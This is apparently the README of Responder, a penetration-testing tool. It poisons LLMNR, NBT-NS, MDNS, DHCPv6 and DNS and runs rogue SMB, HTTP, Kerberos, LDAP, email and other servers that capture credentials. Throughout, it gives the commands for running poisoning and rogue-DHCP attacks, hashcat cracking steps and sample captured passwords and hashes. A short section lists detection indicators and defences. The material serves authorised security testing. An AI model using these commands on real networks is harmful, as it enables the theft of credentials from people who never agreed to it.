Responder

Responder is a LLMNR, NBT-NS, and MDNS poisoner with built-in rogue authentication servers for HTTP, SMB, MSSQL, FTP, LDAP, Kerberos, DNS, and more. It supports NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP, and various authentication methods across 15+ protocols.

Overview
What's New
Installation
Quick Start
Network Poisoning
Rogue Servers
Configuration
macOS
Troubleshooting

Overview

Responder captures credentials by responding to LLMNR, NBT-NS, and MDNS name resolution requests. When a client attempts to resolve a non-existent hostname, Responder answers, directing the client to the attacker's machine where multiple rogue authentication servers capture credentials. DHCP, DHCPv6 rogue servers are also included and can be enabled separately.

Captured Data:

NetNTLMv1/v2 hashes - Crackable with hashcat/john
Kerberos AS-REQ hashes - Offline cracking (hashcat -m 7500)
Cleartext credentials - HTTP Basic, FTP, SMTP, IMAP, LDAP, SQL, etc.
Challenge-response - CRAM-MD5, DIGEST-MD5

What's New

This version includes:

DHCPv6 & DNS Enhancements

✅ DHCPv6 INFORMATION-REQUEST - Full Windows 10/11 compatibility
✅ Domain Filtering - Target specific domains (DHCPv6 & DNS)
✅ Router Advertisements - Optional IPv6 network poisoning

Email Server Upgrades

✅ SMTP STARTTLS - Capture from modern email clients
✅ IMAP STARTTLS - Port 143 with TLS upgrade
✅ IMAPS - Native SSL on port 993
✅ Enhanced POP3 - Better compatibility

Kerberos Improvements

✅ Force AS-REQ - Force kerberos authentication.
✅ Attempt NTLM Fallback - After grabbing kerberos auth, return KDC_ERR_ETYPE_NOSUPP

Protocol Enhancements

✅ MSSQL - SQL Server authentication capture
✅ LDAP/LDAPS - Directory service credentials
✅ RDP - Remote Desktop authentication
✅ WinRM - Windows Remote Management
✅ DCERPC - Windows RPC authentication

Installation

Requirements

Python 2.7 or Python 3.x
Linux (Ubuntu, Kali, Debian recommended)
Root privileges

System Dependencies

sudo apt-get update
sudo apt-get install python3 python3-pip python3-netifaces

Install Responder

git clone https://github.com/lgandx/Responder.git
cd Responder
pip3 install -r requirements.txt

Verify Installation

sudo python3 Responder.py --help

Quick Start

Basic Poisoning

# Standard LLMNR/NBT-NS poisoning
sudo python3 Responder.py -I eth0 -v

# Analyze mode (passive monitoring)
sudo python3 Responder.py -I eth0 -A -v

DHCPv6 Attack

# Edit Responder.conf first:
# [DHCPv6 Server]
# DHCPv6_Domain = corp.local

sudo python3 Responder.py -I eth0 --dhcpv6 -v

Force HTTP Basic Auth

sudo python3 Responder.py -I eth0 -b -v

Enable Proxy Auth + Rogue DHCP

# Enable Proxy-auth server with rogue DHCP server injecting WPAD server (highly effective)
sudo python3 Responder.py -I eth0 -Pvd

Network Poisoning

LLMNR/NBT-NS/MDNS Poisoning

Purpose: Respond to name resolution failures

How it works:

Client broadcasts query for non-existent host
Responder answers: "I'm that host"
Client connects to attacker
Credentials captured

Configuration:

[Responder Core]
LLMNR = On
NBTNS = On
MDNS = On

Usage:

sudo python3 Responder.py -I eth0 -v

DHCPv6 Server

Purpose: Force clients to use attacker's DNS via IPv6

Features:

✅ INFORMATION-REQUEST support (Windows 10/11)
✅ SOLICIT/REQUEST support
✅ Domain filtering (surgical targeting)
✅ Router Advertisement (optional)

How it works:

Windows sends DHCPv6 INFORMATION-REQUEST, SOLICIT, REQUEST
Responder responds: DNS = attacker IPv6
Windows prioritizes IPv6 DNS
All DNS queries → attacker
DNS poisoning → credential capture

Configuration:

[DHCPv6 Server]
; Only respond to specific domain
DHCPv6_Domain = corp.local

; Send Router Advertisements
SendRA = Off

; IPv6 address to advertise
BindToIPv6 = fe80::1

Usage:

sudo python3 Responder.py -I eth0 --dhcpv6 -v

Expected Output:

[DHCPv6] INFORMATION-REQUEST from fe80::a1b2:c3d4
[DHCPv6] Client domain: workstation.corp.local
[DHCPv6] Matched target domain: corp.local
[DHCPv6] Responding with DNS: fe80::1
[DNS] Query: mail.corp.local (A)
[DNS] Poisoned: mail.corp.local -> 192.168.1.100
[SMTP] Captured: [email protected]:Password123

Rogue Servers

Responder includes 17+ rogue authentication servers:

File & Network Services

SMB Server (Ports 445, 139)

Purpose: Capture NetNTLM hashes from file shares

Features:

✅ SMBv1/SMBv2/SMBv3
✅ NetNTLMv1/v2 hash capture
✅ Extended Security NTLMSSP
✅ Session signing disabled (allows relay)

Triggers:

# UNC paths
\\attacker-ip\share
\\non-existent-server\files

# NET USE commands
net use \\attacker-ip\share

# Windows Explorer address bar
\\attacker-ip\

Captured Format:

username::domain:challenge:response:blob

Cracking:

hashcat -m 5600 smb-ntlmv2.txt wordlist.txt

Configuration:

[Responder Core]
SMB = On

FTP Server (Port 21)

Purpose: Capture cleartext FTP credentials

Features:

✅ Anonymous login honeypot
✅ USER/PASS authentication
✅ Cleartext credential capture

Triggers:

ftp attacker-ip
# Username: anything
# Password: anything

Captured Format:

[FTP] Cleartext: username:password

Configuration:

[Responder Core]
FTP = On

Database Servers

MSSQL Server (Port 1433)

Purpose: Capture Microsoft SQL Server authentication

Features:

✅ SQL Server authentication
✅ Windows authentication (NTLM)
✅ Cleartext SQL credentials
✅ NetNTLMv2 hash capture

Triggers:

-- SQL Server Management Studio
Server: attacker-ip
Authentication: SQL Server / Windows

-- Command line
sqlcmd -S attacker-ip -U sa -P password

-- Connection strings
Server=attacker-ip;Database=master;User Id=sa;Password=pass;

Captured Formats:

[MSSQL] SQL Auth: sa:password123
[MSSQL] NetNTLMv2: DOMAIN\user::domain:challenge:response:blob

Configuration:

[Responder Core]
SQL = On

Notes:

Captures both SQL authentication and Windows authentication
Works with SSMS, sqlcmd, ADO.NET connections
Can capture domain credentials via Windows auth

Email Servers

SMTP Server (Port 25, 587)

Purpose: Capture email client authentication

Features:

✅ STARTTLS support (modern clients)
✅ AUTH PLAIN (cleartext)
✅ AUTH LOGIN (cleartext)
✅ AUTH CRAM-MD5
✅ AUTH DIGEST-MD5
✅ AUTH NTLM (NetNTLMv2)

STARTTLS Flow:

Client → EHLO
Server → 250-STARTTLS
Client → STARTTLS
Server → 220 Ready to start TLS
[TLS handshake using self-signed cert]
Client → AUTH PLAIN <credentials>
Server → Captured! ✅

Triggers:

Email client configuration:
- Server: attacker-ip
- Port: 25 or 587
- Security: STARTTLS or None
- Username: anything
- Password: anything

Captured Formats:

[SMTP] LOGIN: [email protected]:Password123
[SMTP] NetNTLMv2: user::DOMAIN:challenge:response:blob
[SMTP] CRAM-MD5: user:challenge:response

Configuration:

[Responder Core]
SMTP = On

Certificate Warnings: Self-signed cert warnings are normal. Clients reject first attempt, retry, and succeed. Credentials still captured.

IMAP Server (Port 143)

Purpose: Capture IMAP authentication with STARTTLS

Features:

✅ STARTTLS support
✅ LOGIN command (cleartext)
✅ AUTHENTICATE PLAIN
✅ AUTHENTICATE LOGIN
✅ AUTHENTICATE NTLM

STARTTLS Flow:

Client → CAPABILITY
Server → * CAPABILITY IMAP4 AUTH=PLAIN AUTH=NTLM STARTTLS
Client → STARTTLS
Server → OK Begin TLS negotiation now
[TLS upgrade]
Client → LOGIN user password
Server → Captured! ✅

Configuration:

[Responder Core]
IMAP = On

IMAPS Server (Port 993)

Purpose: IMAP over SSL (native encryption)

Features:

✅ Native SSL from connection start
✅ All IMAP authentication methods
✅ No STARTTLS needed (already encrypted)

How it differs from IMAP:

Port 143 (IMAP): Plain → STARTTLS → Encrypted
Port 993 (IMAPS): Encrypted from start

Configuration:

[Responder Core]
IMAPS = On

POP3 Server (Port 110)

Purpose: Capture POP3 email retrieval credentials

Features:

✅ USER/PASS authentication
✅ APOP (MD5 challenge)
✅ Cleartext credential capture

Triggers:

Email client:
- Protocol: POP3
- Server: attacker-ip
- Port: 110

Captured Format:

[POP3] USER: username
[POP3] PASS: password

Configuration:

[Responder Core]
POP = On

Web Servers

HTTP Server (Port 80)

Purpose: Capture web authentication

Features:

✅ NTLM authentication (NetNTLMv1/v2)
✅ Basic authentication (cleartext)
✅ Digest authentication (MD5)
✅ WPAD injection

Triggers:

Browser: http://attacker-ip/
UNC: file://attacker-ip/share
WPAD: Automatic proxy detection

Force Basic Auth:

sudo python3 Responder.py -I eth0 -b

Captured Formats:

[HTTP] NTLM NTLMv2: user::DOMAIN:challenge:response:blob
[HTTP] Basic: user:password
[HTTP] Digest: user:realm:hash

Configuration:

[Responder Core]
HTTP = On

HTTPS Server (Port 443)

Purpose: HTTPS with authentication capture

Features:

✅ SSL/TLS encryption
✅ All HTTP authentication methods
✅ Self-signed certificate
✅ WPAD over HTTPS

Configuration:

[Responder Core]
HTTPS = On
SSLCert = certs/responder.crt
SSLKey = certs/responder.key

Directory & Authentication

Kerberos Server (Port 88)

Purpose: Capture AS-REP hashes for offline cracking

Features:

✅ AES256-CTS-HMAC-SHA1-96 (etype 18)
✅ AES128-CTS-HMAC-SHA1-96 (etype 17)
✅ ARCFOUR-HMAC-MD5 (etype 23)

How it works:

Client sends AS-REQ (TGT request)
Responder: "Pre-authentication required"
Client sends AS-REQ with encrypted timestamp
Responder captures encrypted timestamp
Crack offline with hashcat

Cracking:

hashcat -m 7500 kerberos-asreq.txt wordlist.txt

Configuration:

[Responder Core]
Kerberos = On

LDAP Server (Port 389)

Purpose: Capture LDAP directory authentication

Features:

✅ Simple authentication (cleartext)
✅ NTLM authentication
✅ Active Directory queries

Triggers:

# LDAP query
ldapsearch -H ldap://attacker-ip -D "CN=user,DC=corp,DC=local" -w password

# Active Directory tools
dsquery user -d attacker-ip

Captured Formats:

[LDAP] Simple: CN=user,DC=corp,DC=local:password
[LDAP] NetNTLMv2: user::DOMAIN:challenge:response:blob

Configuration:

[Responder Core]
LDAP = On

LDAPS Server (Port 636)

Purpose: LDAP over SSL

Features:

✅ SSL/TLS encryption
✅ All LDAP authentication methods

Configuration:

[Responder Core]
LDAP = On

Remote Access

RDP Server (Port 3389)

Purpose: Capture Remote Desktop authentication

Features:

✅ Network Level Authentication (NLA)
✅ NetNTLMv2 hash capture
✅ CredSSP authentication

Triggers:

Remote Desktop Client:
- Computer: attacker-ip
- Username: anything
- Password: anything

Captured Format:

[RDP] NetNTLMv2: user::DOMAIN:challenge:response:blob

Configuration:

[Responder Core]
RDP = On

Note: Captures NLA authentication before desktop session.

WinRM Server (Ports 5985, 5986)

Purpose: Capture Windows Remote Management credentials

Features:

✅ HTTP (5985) and HTTPS (5986)
✅ Basic authentication
✅ NTLM authentication
✅ Kerberos authentication

Triggers:

# PowerShell remoting
Enter-PSSession -ComputerName attacker-ip
Invoke-Command -ComputerName attacker-ip -ScriptBlock { whoami }

# WinRM command line
winrm invoke -remote:http://attacker-ip

Captured Formats:

[WinRM] Basic: DOMAIN\user:password
[WinRM] NetNTLMv2: user::DOMAIN:challenge:response:blob

Configuration:

[Responder Core]
WINRM = On

Infrastructure

DNS Server (Port 53 TCP/UDP)

Purpose: Rogue DNS with domain filtering

Features:

✅ A/AAAA record poisoning
✅ MX record poisoning (email redirection)
✅ SOA records (appear authoritative)
✅ SRV records (Kerberos, LDAP)
✅ SVCB/HTTPS records (modern browsers)
✅ EDNS0 support
✅ Domain filtering

Configuration:

[DHCPv6 Server]
; DNS uses same domain filter as DHCPv6
DHCPv6_Domain = corp.local

How it works:

Query: mail.corp.local
Response: 192.168.1.100 (attacker)
Client connects to attacker's SMTP
Credentials captured!

Supported Record Types:

A (IPv4) - Redirect to attacker
AAAA (IPv6) - Redirect to attacker
MX (Mail) - Email server poisoning
SRV (Services) - Kerberos, LDAP, etc.
SOA (Authority) - Appear as authoritative
TXT (Text) - SPF records
SVCB/HTTPS (Service Binding) - Modern browsers

Domain Filtering Example:

DHCPv6_Domain = corp.local

mail.corp.local → POISONED ✅
dc01.corp.local → POISONED ✅
google.com → IGNORED (normal DNS)

Configuration:

[Responder Core]
DNS = On

DCERPC Server (Port 135)

Purpose: Capture Windows RPC authentication

Features:

✅ NTLM authentication
✅ Windows service enumeration
✅ NetNTLMv2 capture

Triggers:

Windows services querying RPC endpoint mapper
WMI queries
Remote registry access

Captured Format:

[DCERPC] NetNTLMv2: user::DOMAIN:challenge:response:blob

Configuration:

[Responder Core]
DCERPC = On

Configuration

Main Configuration File

Edit Responder.conf:

[Responder Core]
; === Network Services ===
SQL = On        # MSSQL (port 1433)
SMB = On        # SMB (ports 445, 139)
RDP = On        # Remote Desktop (port 3389)
Kerberos = On   # Kerberos (port 88)
FTP = On        # FTP (port 21)
POP = On        # POP3 (port 110)
SMTP = On       # SMTP with STARTTLS (port 25/587)
IMAP = On       # IMAP with STARTTLS (port 143)
IMAPS = On      # IMAPS with SSL (port 993)
HTTP = On       # HTTP (port 80)
HTTPS = On      # HTTPS (port 443)
DNS = On        # DNS (port 53)
LDAP = On       # LDAP/LDAPS (ports 389/636)
DCERPC = On     # Windows RPC (port 135)
WINRM = On      # Windows Remote Management (ports 5985/5986)

; === Poisoners ===
LLMNR = On      # Link-Local Multicast Name Resolution
NBTNS = On      # NetBIOS Name Service
MDNS = On       # Multicast DNS
DHCP = Off      # DHCP (IPv4) - use with caution
DHCPv6 = On     # DHCPv6 (IPv6) - use with more caution

; === Settings ===
SessionLog = On
LogToFile = On
Verbose = Yes
Database = Responder.db

; === SSL Certificates ===
SSLCert = certs/responder.crt
SSLKey = certs/responder.key

[HTTP Server]
HtmlFilename = files/AccessDenied.html

[DHCPv6 Server]
; Target specific domain 
DHCPv6_Domain = corp.local

; Send Router Advertisements (use with caution)
SendRA = Off

; IPv6 address to advertise
BindToIPv6 = fe80::1

Command-Line Options

Basic Usage

sudo python3 Responder.py [options]

Required Arguments

Option	Description
`-I eth0, --interface=eth0`	Network interface to use (use 'ALL' for all interfaces)

Poisoning Options

Option	Description
`-A, --analyze`	Analyze mode - See NBT-NS, MDNS, LLMNR requests without responding

DHCP/DHCPv6 Options

Option	Description
`-d, --DHCP`	Enable DHCP broadcast responses with WPAD injection (IPv4)
`-D, --DHCP-DNS`	Inject DNS server in DHCP response instead of WPAD
`--dhcpv6`	Enable DHCPv6 poisoning (responds to SOLICIT messages)

IP poisoning Options

Option	Description
`-e 10.0.0.22, --externalip=10.0.0.22`	Poison requests with another IPv4 address
`-6 ADDR, --externalip6=ADDR`	Poison requests with another IPv6 address
`-i 10.0.0.21, --ip=10.0.0.21`	Local IP to use (macOS only)

Authentication Options

Option	Description
`-b, --basic`	Return HTTP Basic authentication (default: NTLM)
`--lm`	Force LM hashing downgrade (Windows XP/2003)
`--disable-ess`	Force Extended Security NTLMSSP downgrade

Advanced Options

Option	Description
`-u HOST:PORT, --upstream-proxy=HOST:PORT`

Output Options

Option	Description
`-v, --verbose`	Increase verbosity (recommended)
`-Q, --quiet`	Quiet mode - Disable poisoner output

Information

Option	Description
`--version`	Show program version and exit
`-h, --help`	Show help message and exit

Storage Locations

Responder.db                    # SQLite database
logs/
├── HTTP-NTLMv2-<IP>.txt       # HTTP NetNTLMv2 hashes
├── SMB-NTLMv2-<IP>.txt        # SMB NetNTLMv2 hashes
├── MSSQL-NTLMv2-<IP>.txt      # MSSQL NetNTLMv2 hashes
├── Kerberos-AES-<IP>.txt      # Kerberos AS-REP hashes
├── SMTP-Cleartext-<IP>.txt    # SMTP cleartext credentials
├── IMAP-NTLMv2-<IP>.txt       # IMAP NetNTLMv2 hashes
├── FTP-Cleartext-<IP>.txt     # FTP cleartext credentials
├── LDAP-Cleartext-<IP>.txt    # LDAP cleartext credentials
├── RDP-NTLMv2-<IP>.txt        # RDP NetNTLMv2 hashes
└── WinRM-NTLMv2-<IP>.txt      # WinRM NetNTLMv2 hashes

Database Query

sqlite3 Responder.db

# Show tables
.tables

# Show all captured hashes
SELECT * FROM hashes;

# Export to CSV
.mode csv
.output hashes.csv
SELECT * FROM hashes;
.quit

OpSec Considerations

Detection Indicators:

Unusual LLMNR/NBT-NS responses
Rogue DHCP/DHCPv6 server
Invalid Kerberos pre-auth requests
Self-signed SSL certificates
Multiple authentication failures
Suspicious DNS responses

Defensive Measures:

Disable MDNS/LLMNR/NBT-NS via GPO
Enable DHCP snooping on the switch
Enable IPv6 RA guard
Enable DHCPv6 guard
Monitor for rogue DHCPv6 servers

macOS

Responder works on macOS but requires the -i flag to specify your local IP address. macOS does not support the SO_BINDTODEVICE socket option used on Linux for interface binding.

Using the Launcher Script

The included macOS_Launcher.sh handles service conflicts automatically:

sudo ./macOS_Launcher.sh -I en0

The launcher will:

Auto-detect your IP from the interface (or pass -i to override)
Check SIP status and report limitations
Stop conflicting macOS services (Kerberos, mDNSResponder, SMB, NetBIOS) if SIP is disabled
Report port conflicts if SIP is enabled
Restore all stopped services when Responder exits (including on Ctrl+C)

Running Directly

# Find your IP
ipconfig getifaddr en0

# Run with explicit IP
sudo python3 Responder.py -I en0 -i 192.168.1.100

System Integrity Protection (SIP)

With SIP enabled (the default), macOS prevents stopping system services that bind to ports Responder needs. You have three options:

Use the launcher script — it will report conflicts and continue with what's available
Disable conflicting modules in Responder.conf (e.g., SMB = Off, DNS = Off)
Disable SIP for full functionality (see Apple's documentation)

Troubleshooting

Common Issues

Permission Denied:

sudo python3 Responder.py -I eth0

Interface Not Found:

ip link show
sudo python3 Responder.py -I wlan0

Port Already in Use:

sudo netstat -tulpn | grep 445
sudo systemctl stop smbd nmbd

DHCPv6 Not Working:

# Enable IPv6
sudo sysctl -w net.ipv6.conf.all.disable_ipv6=0

# Verify
sysctl net.ipv6.conf.all.disable_ipv6

No Hashes Captured:

# Verify servers running
sudo python3 Responder.py -I eth0 -v

# Check firewall
sudo iptables -L

# Monitor traffic
sudo tcpdump -i eth0 port 445 or port 88 or port 389

Debug Mode

# Very verbose output
sudo python3 Responder.py -I eth0 -vv

# Tail logs
tail -f logs/Responder-Session.log

# Network monitoring
sudo tcpdump -i eth0 -w responder-capture.pcap

Credits

Author: Laurent Gaffié

GitHub: https://github.com/lgandx
Website: https://secorizon.com/
Twitter: @secorizon

Donation

You can contribute to this project by donating to the following USDT or Bitcoin address:

USDT: 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A

BTC: bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49

Paypal:

https://paypal.me/PythonResponder

Acknowledgments

Late Responder development has been possible because of the donations received from individuals and companies.

We would like to thanks those major sponsors:

SecureWorks: https://www.secureworks.com/

Synacktiv: https://www.synacktiv.com/

Black Hills Information Security: http://www.blackhillsinfosec.com/

TrustedSec: https://www.trustedsec.com/

Red Siege Information Security: https://www.redsiege.com/

Open-Sec: http://www.open-sec.com/

And all, ALL the pentesters around the world who donated to this project.

Thank you.

Most Popular

Responder

Responder

Table of Contents

Overview

What's New

DHCPv6 & DNS Enhancements

Email Server Upgrades

Kerberos Improvements

Protocol Enhancements

Installation

Requirements

System Dependencies

Install Responder

Verify Installation

Quick Start

Basic Poisoning

DHCPv6 Attack

Force HTTP Basic Auth

Enable Proxy Auth + Rogue DHCP

Network Poisoning

LLMNR/NBT-NS/MDNS Poisoning

DHCPv6 Server

Rogue Servers

File & Network Services

SMB Server (Ports 445, 139)

FTP Server (Port 21)

Database Servers

MSSQL Server (Port 1433)

Email Servers

SMTP Server (Port 25, 587)

IMAP Server (Port 143)

IMAPS Server (Port 993)

POP3 Server (Port 110)

Web Servers

HTTP Server (Port 80)

HTTPS Server (Port 443)

Directory & Authentication

Kerberos Server (Port 88)

LDAP Server (Port 389)

LDAPS Server (Port 636)

Remote Access

RDP Server (Port 3389)

WinRM Server (Ports 5985, 5986)

Infrastructure

DNS Server (Port 53 TCP/UDP)

DCERPC Server (Port 135)

Configuration

Main Configuration File

Command-Line Options

Basic Usage

Required Arguments

Poisoning Options

DHCP/DHCPv6 Options

IP poisoning Options

Authentication Options

Advanced Options

Output Options

Information

Storage Locations

Database Query

OpSec Considerations

macOS

Using the Launcher Script

Running Directly

System Integrity Protection (SIP)

Troubleshooting

Common Issues

Debug Mode

Credits

Donation

Acknowledgments